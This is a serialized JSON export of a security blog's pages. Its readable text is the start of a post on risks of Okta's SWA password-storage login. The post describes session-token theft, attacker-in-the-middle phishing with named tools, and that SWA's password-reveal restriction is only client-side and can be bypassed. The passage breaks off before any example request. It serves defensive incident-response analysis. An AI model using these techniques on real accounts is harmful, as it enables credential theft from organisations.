Type":865},{},[],{"data":201069,"content":201070,"nodeType":866},{},[201071],{"data":201072,"marks":201073,"value":185924,"nodeType":865},{},[],{"data":201075,"content":201076,"nodeType":866},{},[201077],{"data":201078,"marks":201079,"value":185931,"nodeType":865},{},[],{"data":201081,"content":201082,"nodeType":866},{},[201083],{"data":201084,"marks":201085,"value":185938,"nodeType":865},{},[],{"entries":201087},{"hyperlink":201088,"inline":201089,"block":201090},[],[],[201091],{"sys":201092,"__typename":1390,"title":201093,"caption":201094,"layoutMode":59,"file":201095},{"id":183054},"Table of identity attacks - IDSA 2023. Includes phishing, social engineering, brute forcing, password spraying, credential stuffing, stolen credentials, third party attack, adversary in the middle AITM, insider attack","Breakdown of identity attacks from a 2023 IDSA whitepaper",{"url":201096,"width":201097,"height":182977},"https://images.ctfassets.net/y1cdw1ablpvd/2Pu4DMeLHGxRVEiqLUPtuB/f7841fe0868c7c541dd10b7ab8361d31/Image_19-03-2024_at_15.55.jpeg",2190,{"items":201099},[],{},"Identity-based attack techniques as seen in public breaches",{"url":201103},"https://images.ctfassets.net/y1cdw1ablpvd/1vYl5tHrkQcrL0ALGifUCo/76a7ec344f380305a39b4edd1b992ccb/Alt_blog_image.png",{"items":201105},[201106],{"__typename":1429,"sys":201107,"content":201108,"title":178628,"synopsis":178629,"hashTags":59,"publishedDate":178630,"slug":178631,"tagsCollection":201771,"authorsCollection":201777},{"id":177849},{"json":201109},{"data":201110,"content":201111,"nodeType":1382},{},[201112,201118,201124,201130,201136,201142,201148,201153,201169,201175,201211,201217,201223,201259,201275,201281,201287,201293,201309,201325,201331,201361,201367,201383,201389,201395,201421,201437,201443,201448,201454,201460,201466,201472,201478,201484,201490,201496,201502,201508,201514,201520,201533,201539,201595,201601,201607,201630,201643,201649,201655,201661,201687,201704,201710,201716,201722,201728,201744,201760,201765],{"data":201113,"content":201114,"nodeType":866},{},[201115],{"data":201116,"marks":201117,"value":177860,"nodeType":865},{},[],{"data":201119,"content":201120,"nodeType":866},{},[201121],{"data":201122,"marks":201123,"value":177867,"nodeType":865},{},[],{"data":201125,"content":201126,"nodeType":866},{},[201127],{"data":201128,"marks":201129,"value":177874,"nodeType":865},{},[],{"data":201131,"content":201132,"nodeType":866},{},[201133],{"data":201134,"marks":201135,"value":177881,"nodeType":865},{},[],{"data":201137,"content":201138,"nodeType":981},{},[201139],{"data":201140,"marks":201141,"value":177888,"nodeType":865},{},[],{"data":201143,"content":201144,"nodeType":866},{},[201145],{"data":201146,"marks":201147,"value":177895,"nodeType":865},{},[],{"data":201149,"content":201152,"nodeType":912},{"target":201150},{"sys":201151},{"id":177900,"type":909,"linkType":910},[],{"data":201154,"content":201155,"nodeType":866},{},[201156,201159,201166],{"data":201157,"marks":201158,"value":177908,"nodeType":865},{},[],{"data":201160,"content":201161,"nodeType":889},{"uri":13171},[201162],{"data":201163,"marks":201164,"value":11198,"nodeType":865},{},[201165],{"type":943},{"data":201167,"marks":201168,"value":1615,"nodeType":865},{},[],{"data":201170,"content":201171,"nodeType":866},{},[201172],{"data":201173,"marks":201174,"value":177925,"nodeType":865},{},[],{"data":201176,"content":201177,"nodeType":866},{},[201178,201181,201188,201191,201198,201201,201208],{"data":201179,"marks":201180,"value":177932,"nodeType":865},{},[],{"data":201182,"content":201183,"nodeType":889},{"uri":134372},[201184],{"data":201185,"marks":201186,"value":177940,"nodeType":865},{},[201187],{"type":943},{"data":201189,"marks":201190,"value":4988,"nodeType":865},{},[],{"data":201192,"content":201193,"nodeType":889},{"uri":177946},[201194],{"data":201195,"marks":201196,"value":177952,"nodeType":865},{},[201197],{"type":943},{"data":201199,"marks":201200,"value":177956,"nodeType":865},{},[],{"data":201202,"content":201203,"nodeType":889},{"uri":169808},[201204],{"data":201205,"marks":201206,"value":177964,"nodeType":865},{},[201207],{"type":943},{"data":201209,"marks":201210,"value":177968,"nodeType":865},{},[],{"data":201212,"content":201213,"nodeType":866},{},[201214],{"data":201215,"marks":201216,"value":177975,"nodeType":865},{},[],{"data":201218,"content":201219,"nodeType":1317},{},[201220],{"data":201221,"marks":201222,"value":177982,"nodeType":865},{},[],{"data":201224,"content":201225,"nodeType":866},{},[201226,201229,201236,201239,201246,201249,201256],{"data":201227,"marks":201228,"value":177989,"nodeType":865},{},[],{"data":201230,"content":201231,"nodeType":889},{"uri":169182},[201232],{"data":201233,"marks":201234,"value":169188,"nodeType":865},{},[201235],{"type":943},{"data":201237,"marks":201238,"value":4988,"nodeType":865},{},[],{"data":201240,"content":201241,"nodeType":889},{"uri":169194},[201242],{"data":201243,"marks":201244,"value":169199,"nodeType":865},{},[201245],{"type":943},{"data":201247,"marks":201248,"value":178010,"nodeType":865},{},[],{"data":201250,"content":201251,"nodeType":889},{"uri":169856},[201252],{"data":201253,"marks":201254,"value":178018,"nodeType":865},{},[201255],{"type":943},{"data":201257,"marks":201258,"value":178022,"nodeType":865},{},[],{"data":201260,"content":201261,"nodeType":866},{},[201262,201265,201272],{"data":201263,"marks":201264,"value":178029,"nodeType":865},{},[],{"data":201266,"content":201267,"nodeType":889},{"uri":178032},[201268],{"data":201269,"marks":201270,"value":178038,"nodeType":865},{},[201271],{"type":943},{"data":201273,"marks":201274,"value":178042,"nodeType":865},{},[],{"data":201276,"content":201277,"nodeType":866},{},[201278],{"data":201279,"marks":201280,"value":178049,"nodeType":865},{},[],{"data":201282,"content":201283,"nodeType":866},{},[201284],{"data":201285,"marks":201286,"value":178056,"nodeType":865},{},[],{"data":201288,"content":201289,"nodeType":1317},{},[201290],{"data":201291,"marks":201292,"value":178063,"nodeType":865},{},[],{"data":201294,"content":201295,"nodeType":866},{},[201296,201299,201306],{"data":201297,"marks":201298,"value":178070,"nodeType":865},{},[],{"data":201300,"content":201301,"nodeType":889},{"uri":178073},[201302],{"data":201303,"marks":201304,"value":178079,"nodeType":865},{},[201305],{"type":943},{"data":201307,"marks":201308,"value":178083,"nodeType":865},{},[],{"data":201310,"content":201311,"nodeType":866},{},[201312,201315,201322],{"data":201313,"marks":201314,"value":178090,"nodeType":865},{},[],{"data":201316,"content":201317,"nodeType":889},{"uri":145802},[201318],{"data":201319,"marks":201320,"value":145808,"nodeType":865},{},[201321],{"type":943},{"data":201323,"marks":201324,"value":178101,"nodeType":865},{},[],{"data":201326,"content":201327,"nodeType":866},{},[201328],{"data":201329,"marks":201330,"value":178108,"nodeType":865},{},[],{"data":201332,"content":201333,"nodeType":1616},{},[201334,201343,201352],{"data":201335,"content":201336,"nodeType":1570},{},[201337],{"data":201338,"content":201339,"nodeType":866},{},[201340],{"data":201341,"marks":201342,"value":178121,"nodeType":865},{},[],{"data":201344,"content":201345,"nodeType":1570},{},[201346],{"data":201347,"content":201348,"nodeType":866},{},[201349],{"data":201350,"marks":201351,"value":178131,"nodeType":865},{},[],{"data":201353,"content":201354,"nodeType":1570},{},[201355],{"data":201356,"content":201357,"nodeType":866},{},[201358],{"data":201359,"marks":201360,"value":178141,"nodeType":865},{},[],{"data":201362,"content":201363,"nodeType":866},{},[201364],{"data":201365,"marks":201366,"value":178148,"nodeType":865},{},[],{"data":201368,"content":201369,"nodeType":866},{},[201370,201373,201380],{"data":201371,"marks":201372,"value":178155,"nodeType":865},{},[],{"data":201374,"content":201375,"nodeType":889},{"uri":101198},[201376],{"data":201377,"marks":201378,"value":178163,"nodeType":865},{},[201379],{"type":943},{"data":201381,"marks":201382,"value":178167,"nodeType":865},{},[],{"data":201384,"content":201385,"nodeType":1317},{},[201386],{"data":201387,"marks":201388,"value":178174,"nodeType":865},{},[],{"data":201390,"content":201391,"nodeType":866},{},[201392],{"data":201393,"marks":201394,"value":178181,"nodeType":865},{},[],{"data":201396,"content":201397,"nodeType":866},{},[201398,201401,201408,201411,201418],{"data":201399,"marks":201400,"value":178188,"nodeType":865},{},[],{"data":201402,"content":201403,"nodeType":889},{"uri":178191},[201404],{"data":201405,"marks":201406,"value":178197,"nodeType":865},{},[201407],{"type":943},{"data":201409,"marks":201410,"value":4988,"nodeType":865},{},[],{"data":201412,"content":201413,"nodeType":889},{"uri":53259},[201414],{"data":201415,"marks":201416,"value":6715,"nodeType":865},{},[201417],{"type":943},{"data":201419,"marks":201420,"value":178211,"nodeType":865},{},[],{"data":201422,"content":201423,"nodeType":866},{},[201424,201427,201434],{"data":201425,"marks":201426,"value":178218,"nodeType":865},{},[],{"data":201428,"content":201429,"nodeType":889},{"uri":178221},[201430],{"data":201431,"marks":201432,"value":178227,"nodeType":865},{},[201433],{"type":943},{"data":201435,"marks":201436,"value":178231,"nodeType":865},{},[],{"data":201438,"content":201439,"nodeType":866},{},[201440],{"data":201441,"marks":201442,"value":178238,"nodeType":865},{},[],{"data":201444,"content":201447,"nodeType":912},{"target":201445},{"sys":201446},{"id":161934,"type":909,"linkType":910},[],{"data":201449,"content":201450,"nodeType":981},{},[201451],{"data":201452,"marks":201453,"value":178250,"nodeType":865},{},[],{"data":201455,"content":201456,"nodeType":866},{},[201457],{"data":201458,"marks":201459,"value":178257,"nodeType":865},{},[],{"data":201461,"content":201462,"nodeType":866},{},[201463],{"data":201464,"marks":201465,"value":178264,"nodeType":865},{},[],{"data":201467,"content":201468,"nodeType":1317},{},[201469],{"data":201470,"marks":201471,"value":178271,"nodeType":865},{},[],{"data":201473,"content":201474,"nodeType":866},{},[201475],{"data":201476,"marks":201477,"value":178278,"nodeType":865},{},[],{"data":201479,"content":201480,"nodeType":866},{},[201481],{"data":201482,"marks":201483,"value":178285,"nodeType":865},{},[],{"data":201485,"content":201486,"nodeType":866},{},[201487],{"data":201488,"marks":201489,"value":178292,"nodeType":865},{},[],{"data":201491,"content":201492,"nodeType":1317},{},[201493],{"data":201494,"marks":201495,"value":178299,"nodeType":865},{},[],{"data":201497,"content":201498,"nodeType":866},{},[201499],{"data":201500,"marks":201501,"value":178306,"nodeType":865},{},[],{"data":201503,"content":201504,"nodeType":866},{},[201505],{"data":201506,"marks":201507,"value":178313,"nodeType":865},{},[],{"data":201509,"content":201510,"nodeType":866},{},[201511],{"data":201512,"marks":201513,"value":178320,"nodeType":865},{},[],{"data":201515,"content":201516,"nodeType":981},{},[201517],{"data":201518,"marks":201519,"value":178327,"nodeType":865},{},[],{"data":201521,"content":201522,"nodeType":866},{},[201523,201526,201530],{"data":201524,"marks":201525,"value":178334,"nodeType":865},{},[],{"data":201527,"marks":201528,"value":178339,"nodeType":865},{},[201529],{"type":898},{"data":201531,"marks":201532,"value":178343,"nodeType":865},{},[],{"data":201534,"content":201535,"nodeType":1317},{},[201536],{"data":201537,"marks":201538,"value":178350,"nodeType":865},{},[],{"data":201540,"content":201541,"nodeType":866},{},[201542,201545,201552,201555,201562,201565,201572,201575,201582,201585,201592],{"data":201543,"marks":201544,"value":178357,"nodeType":865},{},[],{"data":201546,"content":201547,"nodeType":889},{"uri":178360},[201548],{"data":201549,"marks":201550,"value":178366,"nodeType":865},{},[201551],{"type":943},{"data":201553,"marks":201554,"value":4988,"nodeType":865},{},[],{"data":201556,"content":201557,"nodeType":889},{"uri":178372},[201558],{"data":201559,"marks":201560,"value":178378,"nodeType":865},{},[201561],{"type":943},{"data":201563,"marks":201564,"value":178382,"nodeType":865},{},[],{"data":201566,"content":201567,"nodeType":889},{"uri":178385},[201568],{"data":201569,"marks":201570,"value":178391,"nodeType":865},{},[201571],{"type":943},{"data":201573,"marks":201574,"value":113162,"nodeType":865},{},[],{"data":201576,"content":201577,"nodeType":889},{"uri":1063},[201578],{"data":201579,"marks":201580,"value":178402,"nodeType":865},{},[201581],{"type":943},{"data":201583,"marks":201584,"value":178406,"nodeType":865},{},[],{"data":201586,"content":201587,"nodeType":889},{"uri":178409},[201588],{"data":201589,"marks":201590,"value":178415,"nodeType":865},{},[201591],{"type":943},{"data":201593,"marks":201594,"value":178419,"nodeType":865},{},[],{"data":201596,"content":201597,"nodeType":866},{},[201598],{"data":201599,"marks":201600,"value":178426,"nodeType":865},{},[],{"data":201602,"content":201603,"nodeType":1317},{},[201604],{"data":201605,"marks":201606,"value":178433,"nodeType":865},{},[],{"data":201608,"content":201609,"nodeType":866},{},[201610,201613,201617,201620,201627],{"data":201611,"marks":201612,"value":178440,"nodeType":865},{},[],{"data":201614,"marks":201615,"value":178445,"nodeType":865},{},[201616],{"type":943},{"data":201618,"marks":201619,"value":178449,"nodeType":865},{},[],{"data":201621,"content":201622,"nodeType":889},{"uri":178452},[201623],{"data":201624,"marks":201625,"value":178458,"nodeType":865},{},[201626],{"type":943},{"data":201628,"marks":201629,"value":178462,"nodeType":865},{},[],{"data":201631,"content":201632,"nodeType":866},{},[201633,201636,201640],{"data":201634,"marks":201635,"value":178469,"nodeType":865},{},[],{"data":201637,"marks":201638,"value":178474,"nodeType":865},{},[201639],{"type":898},{"data":201641,"marks":201642,"value":1615,"nodeType":865},{},[],{"data":201644,"content":201645,"nodeType":866},{},[201646],{"data":201647,"marks":201648,"value":178484,"nodeType":865},{},[],{"data":201650,"content":201651,"nodeType":1317},{},[201652],{"data":201653,"marks":201654,"value":178491,"nodeType":865},{},[],{"data":201656,"content":201657,"nodeType":866},{},[201658],{"data":201659,"marks":201660,"value":178498,"nodeType":865},{},[],{"data":201662,"content":201663,"nodeType":866},{},[201664,201667,201674,201677,201684],{"data":201665,"marks":201666,"value":178505,"nodeType":865},{},[],{"data":201668,"content":201669,"nodeType":889},{"uri":178508},[201670],{"data":201671,"marks":201672,"value":178514,"nodeType":865},{},[201673],{"type":943},{"data":201675,"marks":201676,"value":178518,"nodeType":865},{},[],{"data":201678,"content":201679,"nodeType":889},{"uri":178521},[201680],{"data":201681,"marks":201682,"value":178527,"nodeType":865},{},[201683],{"type":943},{"data":201685,"marks":201686,"value":178531,"nodeType":865},{},[],{"data":201688,"content":201689,"nodeType":866},{},[201690,201693,201701],{"data":201691,"marks":201692,"value":178538,"nodeType":865},{},[],{"data":201694,"content":201695,"nodeType":889},{"uri":178541},[201696],{"data":201697,"marks":201698,"value":178548,"nodeType":865},{},[201699,201700],{"type":943},{"type":898},{"data":201702,"marks":201703,"value":21,"nodeType":865},{},[],{"data":201705,"content":201706,"nodeType":866},{},[201707],{"data":201708,"marks":201709,"value":178558,"nodeType":865},{},[],{"data":201711,"content":201712,"nodeType":981},{},[201713],{"data":201714,"marks":201715,"value":178565,"nodeType":865},{},[],{"data":201717,"content":201718,"nodeType":866},{},[201719],{"data":201720,"marks":201721,"value":178572,"nodeType":865},{},[],{"data":201723,"content":201724,"nodeType":866},{},[201725],{"data":201726,"marks":201727,"value":178579,"nodeType":865},{},[],{"data":201729,"content":201730,"nodeType":866},{},[201731,201734,201741],{"data":201732,"marks":201733,"value":178586,"nodeType":865},{},[],{"data":201735,"content":201736,"nodeType":889},{"uri":178589},[201737],{"data":201738,"marks":201739,"value":178595,"nodeType":865},{},[201740],{"type":943},{"data":201742,"marks":201743,"value":1615,"nodeType":865},{},[],{"data":201745,"content":201746,"nodeType":866},{},[201747,201750,201757],{"data":201748,"marks":201749,"value":178605,"nodeType":865},{},[],{"data":201751,"content":201752,"nodeType":889},{"uri":13171},[201753],{"data":201754,"marks":201755,"value":11198,"nodeType":865},{},[201756],{"type":943},{"data":201758,"marks":201759,"value":170072,"nodeType":865},{},[],{"data":201761,"content":201764,"nodeType":912},{"target":201762},{"sys":201763},{"id":178620,"type":909,"linkType":910},[],{"data":201766,"content":201767,"nodeType":866},{},[201768],{"data":201769,"marks":201770,"value":21,"nodeType":865},{},[],{"items":201772},[201773,201775],{"sys":201774,"name":7796},{"id":7795},{"sys":201776,"name":342},{"id":4642},{"items":201778},[201779],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":201780},{"url":57336},"blog/identity-attacks-in-the-wild",{"json":201783},{"data":201784,"content":201785,"nodeType":1382},{},[201786],{"data":201787,"content":201788,"nodeType":866},{},[201789,201793],{"data":201790,"marks":201791,"value":201792,"nodeType":865},{},[],"To help organizations keep track of how browser-based identity attacks are evolving, we've put together this index of recent breaches",{"data":201794,"marks":201795,"value":201796,"nodeType":865},{},[],". In particular we’re focused on tracking attacks in the public domain that demonstrate the very latest techniques being used in the wild, such as those targeting identity infrastructure itself. ",{"id":182999,"publishedAt":201798},"2026-08-12T11:55:31.114Z",{"items":201800},[201801,201803],{"sys":201802,"name":7796},{"id":7795},{"sys":201804,"name":342},{"id":4642},{"items":201806},[201807,201809,201811,201813,201815,201817,201819,201821,201823,201825,201827,201829,201831,201833,201835,201837,201839,201841,201843,201845],{"sys":201808,"name":279,"slug":280,"tier":31},{"id":276},{"sys":201810,"name":413,"slug":414,"tier":31},{"id":410},{"sys":201812,"name":642,"slug":643,"tier":31},{"id":639},{"sys":201814,"name":519,"slug":520,"tier":31},{"id":516},{"sys":201816,"name":545,"slug":546,"tier":31},{"id":542},{"sys":201818,"name":342,"slug":343,"tier":31},{"id":339},{"sys":201820,"name":404,"slug":405,"tier":45},{"id":401},{"sys":201822,"name":528,"slug":529,"tier":45},{"id":525},{"sys":201824,"name":333,"slug":334,"tier":45},{"id":330},{"sys":201826,"name":422,"slug":423,"tier":45},{"id":419},{"sys":201828,"name":395,"slug":396,"tier":45},{"id":392},{"sys":201830,"name":571,"slug":572,"tier":45},{"id":568},{"sys":201832,"name":484,"slug":485,"tier":45},{"id":481},{"sys":201834,"name":466,"slug":467,"tier":45},{"id":463},{"sys":201836,"name":607,"slug":608,"tier":45},{"id":604},{"sys":201838,"name":261,"slug":262,"tier":45},{"id":258},{"sys":201840,"name":650,"slug":651,"tier":45},{"id":647},{"sys":201842,"name":537,"slug":538,"tier":45},{"id":534},{"sys":201844,"name":457,"slug":458,"tier":45},{"id":454},{"sys":201846,"name":633,"slug":634,"tier":45},{"id":630},"c-hSrKEun_EGXMqcYVqzCOnSLH9sxoS6TEl8VMIrNjA",{"id":201849,"title":201850,"authorsCollection":201851,"content":201856,"extension":228,"faqItemsCollection":203130,"faqTitle":59,"featured":6,"hashTags":59,"meta":203132,"metaTitle":203133,"ogImage":59,"postType":42959,"publishedDate":203134,"relatedBlogPostsCollection":203135,"slug":205406,"stem":205407,"subtitle":59,"summary":205408,"synopsis":205419,"sys":205420,"tagsCollection":205423,"topicsCollection":205429,"__hash__":205453},"blog/blog/okta-swa.json","Abusing Okta's SWA authentication",{"items":201852},[201853],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":201854,"profilePicture":201855},[62480],{"url":11425},{"json":201857,"links":203030},{"data":201858,"content":201859,"nodeType":1382},{},[201860,201867,201874,201881,201888,201895,201902,201908,201915,201922,201929,202019,202024,202031,202038,202045,202078,202085,202092,202099,202106,202112,202119,202126,202149,202156,202162,202168,202175,202182,202189,202196,202203,202210,202217,202223,202229,202237,202244,202251,202258,202265,202272,202279,202286,202293,202300,202307,202314,202321,202326,202333,202340,202347,202354,202360,202366,202373,202380,202387,202410,202417,202423,202429,202436,202442,202449,202456,202467,202474,202481,202488,202495,202502,202519,202617,202624,202631,202679,202685,202692,202699,202706,202713,202720,202727,202733,202740,202759,202766,202773,202780,202787,202794,202801,202844,202851,202906,202912,202919,202982,202988,202995,203002,203009,203016,203023],{"data":201861,"content":201862,"nodeType":866},{},[201863],{"data":201864,"marks":201865,"value":201866,"nodeType":865},{},[],"This blog post covers the implications of using SWA as an authentication method in Okta, with a particular focus on what security teams need to consider in an account breach and subsequent incident response scenario. ",{"data":201868,"content":201869,"nodeType":866},{},[201870],{"data":201871,"marks":201872,"value":201873,"nodeType":865},{},[],"Spoiler alert: we’ll make the case that the true value of an SSO solution like Okta is in the use of SAML and OIDC authentication methods, not convenience features like SWA.",{"data":201875,"content":201876,"nodeType":981},{},[201877],{"data":201878,"marks":201879,"value":201880,"nodeType":865},{},[],"Introduction",{"data":201882,"content":201883,"nodeType":866},{},[201884],{"data":201885,"marks":201886,"value":201887,"nodeType":865},{},[],"To facilitate SSO logins to web applications, Okta allows the industry standard SAML and OIDC protocols for federated logins to be used with applications that support it. These represent the most secure and recommended options. However, Okta also offers a proprietary system called SWA to support apps that don’t support these protocols, or where they are otherwise unavailable due to licensing restrictions.     ",{"data":201889,"content":201890,"nodeType":866},{},[201891],{"data":201892,"marks":201893,"value":201894,"nodeType":865},{},[],"While SWA is referred to as an SSO login mechanism, functionally it’s a password manager. SWA stores username and password combinations for individual applications on a per-user basis and makes use of a browser extension to automate the login process on behalf of the user. ",{"data":201896,"content":201897,"nodeType":866},{},[201898],{"data":201899,"marks":201900,"value":201901,"nodeType":865},{},[],"The screenshot below shows an example of an application being configured to use SWA as opposed to SAML, in this case Salesforce:",{"data":201903,"content":201907,"nodeType":912},{"target":201904},{"sys":201905},{"id":201906,"type":909,"linkType":910},"4wrRez2VpTG1vjsvNFlklK",[],{"data":201909,"content":201910,"nodeType":866},{},[201911],{"data":201912,"marks":201913,"value":201914,"nodeType":865},{},[],"From this configuration screen it’s not obvious that there is a fundamental difference between some login methods like SWA and true federated identity methods like SAML 2.0. To better understand the difference and the risks of SWA, let’s look at it from an attacker’s perspective.",{"data":201916,"content":201917,"nodeType":981},{},[201918],{"data":201919,"marks":201920,"value":201921,"nodeType":865},{},[],"How are Okta accounts compromised?",{"data":201923,"content":201924,"nodeType":866},{},[201925],{"data":201926,"marks":201927,"value":201928,"nodeType":865},{},[],"While it’s common for Okta accounts to be protected using MFA, and sometimes device trust, there are still viable attack vectors. The two most prevalent attacks would be: ",{"data":201930,"content":201931,"nodeType":1616},{},[201932,201947],{"data":201933,"content":201934,"nodeType":1570},{},[201935],{"data":201936,"content":201937,"nodeType":866},{},[201938,201943],{"data":201939,"marks":201940,"value":201942,"nodeType":865},{},[201941],{"type":926},"Endpoint compromise",{"data":201944,"marks":201945,"value":201946,"nodeType":865},{},[]," - In a traditional endpoint compromise scenario, an attacker will generally have full access to the user’s browser. This means they can hijack existing Okta sessions by stealing authentication tokens, which bypass all device trust and MFA protections. For persistent access, they can keylog credentials when the user next logs in and add MFA methods or enrol a new endpoint with device trust.",{"data":201948,"content":201949,"nodeType":1570},{},[201950],{"data":201951,"content":201952,"nodeType":866},{},[201953,201958,201962,201970,201973,201982,201986,201990,201999,202003,202007,202016],{"data":201954,"marks":201955,"value":201957,"nodeType":865},{},[201956],{"type":926},"Phishing attacks/MFA proxying",{"data":201959,"marks":201960,"value":201961,"nodeType":865},{},[]," - Traditional phishing attacks can be launched against Okta users to obtain credentials and/or authenticated sessions. Attacker-in-the-middle (AITM) attacks can be used to bypass common MFA mechanisms, and attacks against Okta users are typically carried out using tools such as ",{"data":201963,"content":201964,"nodeType":889},{"uri":168296},[201965],{"data":201966,"marks":201967,"value":201969,"nodeType":865},{},[201968],{"type":943},"evilginx",{"data":201971,"marks":201972,"value":2717,"nodeType":865},{},[],{"data":201974,"content":201976,"nodeType":889},{"uri":201975},"https://mrd0x.com/bypass-2fa-using-novnc/",[201977],{"data":201978,"marks":201979,"value":201981,"nodeType":865},{},[201980],{"type":943},"noVNC",{"data":201983,"marks":201984,"value":2688,"nodeType":865},{},[201985],{"type":926},{"data":201987,"marks":201988,"value":201989,"nodeType":865},{},[],"or ",{"data":201991,"content":201993,"nodeType":889},{"uri":201992},"https://github.com/fkasler/cuddlephish",[201994],{"data":201995,"marks":201996,"value":201998,"nodeType":865},{},[201997],{"type":943},"cuddlephish",{"data":202000,"marks":202001,"value":1615,"nodeType":865},{},[202002],{"type":926},{"data":202004,"marks":202005,"value":202006,"nodeType":865},{},[]," We’ve even seen groups using tooling specifically crafted to target Okta such as the notorious ",{"data":202008,"content":202010,"nodeType":889},{"uri":202009},"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/",[202011],{"data":202012,"marks":202013,"value":202015,"nodeType":865},{},[202014],{"type":943},"0ktapus group/campaign.",{"data":202017,"marks":202018,"value":21,"nodeType":865},{},[],{"data":202020,"content":202023,"nodeType":912},{"target":202021},{"sys":202022},{"id":161934,"type":909,"linkType":910},[],{"data":202025,"content":202026,"nodeType":981},{},[202027],{"data":202028,"marks":202029,"value":202030,"nodeType":865},{},[],"What is Okta SWA?",{"data":202032,"content":202033,"nodeType":866},{},[202034],{"data":202035,"marks":202036,"value":202037,"nodeType":865},{},[],"Okta Secure Web Authentication (SWA) provides SSO-like functionality to web applications that don’t support federated protocols and is intended to be used only when SAML or OIDC federated logins cannot be used. ",{"data":202039,"content":202040,"nodeType":866},{},[202041],{"data":202042,"marks":202043,"value":202044,"nodeType":865},{},[],"It is SSO-like in the sense that:",{"data":202046,"content":202047,"nodeType":1616},{},[202048,202058,202068],{"data":202049,"content":202050,"nodeType":1570},{},[202051],{"data":202052,"content":202053,"nodeType":866},{},[202054],{"data":202055,"marks":202056,"value":202057,"nodeType":865},{},[],"A user enters their single Okta password to login to Okta, ",{"data":202059,"content":202060,"nodeType":1570},{},[202061],{"data":202062,"content":202063,"nodeType":866},{},[202064],{"data":202065,"marks":202066,"value":202067,"nodeType":865},{},[],"SWA then stores username/password combinations ",{"data":202069,"content":202070,"nodeType":1570},{},[202071],{"data":202072,"content":202073,"nodeType":866},{},[202074],{"data":202075,"marks":202076,"value":202077,"nodeType":865},{},[],"SWA then makes use of a browser extension to automatically login to applications using the credentials. ",{"data":202079,"content":202080,"nodeType":866},{},[202081],{"data":202082,"marks":202083,"value":202084,"nodeType":865},{},[],"In that sense, it’s essentially a password manager. Like any password manager, it can be a big security improvement over a user manually managing their accounts or reusing the same password everywhere.",{"data":202086,"content":202087,"nodeType":866},{},[202088],{"data":202089,"marks":202090,"value":202091,"nodeType":865},{},[],"There’s a good reason that true SSO is considered more secure than password managers, and this comes down to the identity. An SSO uses a single identity that is federated to other apps, where a password manager just better manages many discrete identities. So, when an employee leaves an organization and they’re using an SSO, a single identity needs to be disabled, but disabling access to a password manager does nothing to disable the identities inside it.",{"data":202093,"content":202094,"nodeType":866},{},[202095],{"data":202096,"marks":202097,"value":202098,"nodeType":865},{},[],"In the case of SWA, the use of a browser extension and a long list of supported applications with custom login scripts already written is a key value add. This means users don’t need to copy/paste credentials like they might with some password managers. ",{"data":202100,"content":202101,"nodeType":866},{},[202102],{"data":202103,"marks":202104,"value":202105,"nodeType":865},{},[],"However, unlike typical password managers, there isn’t just one type of SWA, administrators can actually pick between one of five configuration options. This is shown in the screenshot below:",{"data":202107,"content":202111,"nodeType":912},{"target":202108},{"sys":202109},{"id":202110,"type":909,"linkType":910},"42kt5hDFjjVYLf85HnjlU8",[],{"data":202113,"content":202114,"nodeType":866},{},[202115],{"data":202116,"marks":202117,"value":202118,"nodeType":865},{},[],"So, it’s possible to configure SWA like a traditional password manager scenario where the user sets their own username and password. However, as you can see above, you can set it up so that administrators can fully control the credentials, including the use of shared credentials used by multiple users.",{"data":202120,"content":202121,"nodeType":866},{},[202122],{"data":202123,"marks":202124,"value":202125,"nodeType":865},{},[],"SWA can also control the default configuration of the password reveal capability:",{"data":202127,"content":202128,"nodeType":1616},{},[202129,202139],{"data":202130,"content":202131,"nodeType":1570},{},[202132],{"data":202133,"content":202134,"nodeType":866},{},[202135],{"data":202136,"marks":202137,"value":202138,"nodeType":865},{},[],"When configured to allow users to set their own credentials, password reveal is enabled by default. ",{"data":202140,"content":202141,"nodeType":1570},{},[202142],{"data":202143,"content":202144,"nodeType":866},{},[202145],{"data":202146,"marks":202147,"value":202148,"nodeType":865},{},[],"When administrators control the credentials, password reveal is disabled by default. ",{"data":202150,"content":202151,"nodeType":866},{},[202152],{"data":202153,"marks":202154,"value":202155,"nodeType":865},{},[],"Since Okta SWA performs logins automatically on behalf of the user, the user doesn’t technically need to be able to view or copy/paste the credentials. This makes it possible for Okta to support disabling password reveal. ",{"data":202157,"content":202161,"nodeType":912},{"target":202158},{"sys":202159},{"id":202160,"type":909,"linkType":910},"3IE8neYJbh0H8Vc7Hd9p5W",[],{"data":202163,"content":202167,"nodeType":912},{"target":202164},{"sys":202165},{"id":202166,"type":909,"linkType":910},"5C1lhoJtBEgdndiL9gSUbd",[],{"data":202169,"content":202170,"nodeType":981},{},[202171],{"data":202172,"marks":202173,"value":202174,"nodeType":865},{},[],"What are the security risks of using SWA?",{"data":202176,"content":202177,"nodeType":866},{},[202178],{"data":202179,"marks":202180,"value":202181,"nodeType":865},{},[],"While SWA may be a step up from users performing manual logins to a range of apps, it carries the same risk that any password manager solution has. If your account is compromised then all your usernames and passwords can be stolen in one go.",{"data":202183,"content":202184,"nodeType":866},{},[202185],{"data":202186,"marks":202187,"value":202188,"nodeType":865},{},[],"But how can that be if password reveal has been disabled",{"data":202190,"content":202191,"nodeType":1317},{},[202192],{"data":202193,"marks":202194,"value":202195,"nodeType":865},{},[],"1. Bypassing password reveal restrictions",{"data":202197,"content":202198,"nodeType":866},{},[202199],{"data":202200,"marks":202201,"value":202202,"nodeType":865},{},[],"Even if users don’t directly interact with their passwords themselves (e.g. via copy/paste), their browser needs access otherwise it wouldn’t be possible to login to apps. ",{"data":202204,"content":202205,"nodeType":866},{},[202206],{"data":202207,"marks":202208,"value":202209,"nodeType":865},{},[],"The Okta browser extension uses the user’s active Okta login session to request credentials in the background, then automatically logs in to apps without the user ever directly seeing those credentials. So, while disabling password reveal may defeat a low-skill attacker or normal user scenarios, it’s essentially a client-side control, and isn’t going to stop a more determined attacker or technical user from getting at the credentials. This isn’t a bug, it’s a technical limitation of how a password manager works.",{"data":202211,"content":202212,"nodeType":866},{},[202213],{"data":202214,"marks":202215,"value":202216,"nodeType":865},{},[],"For example, let’s say a user has Salesforce configured as an app with SWA and clicks the app tile in the extension to login. The browser extension will use the active user session to make a request like the following (headers and irrelevant data removed for 